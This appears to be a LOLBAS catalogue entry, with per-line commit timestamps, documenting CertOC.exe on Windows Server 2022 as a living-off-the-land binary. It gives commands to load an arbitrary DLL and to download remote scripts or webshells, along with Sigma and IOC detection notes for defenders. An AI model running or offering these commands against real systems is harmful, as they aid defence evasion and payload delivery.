2021-10-07 12:31:45 +02:00
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Name: CertOC.exe
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Description: Used for installing certificates
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Author: 'Ensar Samil'
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2021-10-27 11:02:52 +02:00
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Created: 2021-10-07
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2021-10-07 12:31:45 +02:00
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Commands:
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2025-01-28 12:15:01 +01:00
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- Command: certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}
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2021-10-07 12:31:45 +02:00
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Description: Loads the target DLL file
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Usecase: Execute code within DLL file
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Category: Execute
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Privileges: User
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MitreID: T1218
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2021-10-27 11:02:52 +02:00
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OperatingSystem: Windows Server 2022
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2024-04-03 17:53:36 +02:00
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Tags:
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- Execute: DLL
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2025-01-28 12:15:01 +01:00
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- Command: certoc.exe -GetCACAPS {REMOTEURL:.ps1}
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2021-10-27 11:02:52 +02:00
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Description: Downloads text formatted files
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Usecase: Download scripts, webshells etc.
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Category: Download
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Privileges: User
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MitreID: T1105
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2021-11-05 19:58:26 +01:00
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OperatingSystem: Windows Server 2022
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2021-10-07 12:31:45 +02:00
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Full_Path:
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- Path: c:\windows\system32\certoc.exe
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- Path: c:\windows\syswow64\certoc.exe
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2021-11-05 19:58:26 +01:00
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Detection:
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2023-10-18 17:30:34 +02:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml
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2021-10-07 12:31:45 +02:00
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- IOC: Process creation with given parameter
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- IOC: Unsigned DLL load via certoc.exe
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2021-10-27 11:02:52 +02:00
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- IOC: Network connection via certoc.exe
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2021-10-07 12:31:45 +02:00
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Resources:
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- Link: https://twitter.com/sblmsrsn/status/1445758411803480072?s=20
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2021-10-27 11:02:52 +02:00
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- Link: https://twitter.com/sblmsrsn/status/1452941226198671363?s=20
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2021-10-07 12:31:45 +02:00
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Acknowledgement:
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- Person: Ensar Samil
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Handle: '@sblmsrsn'
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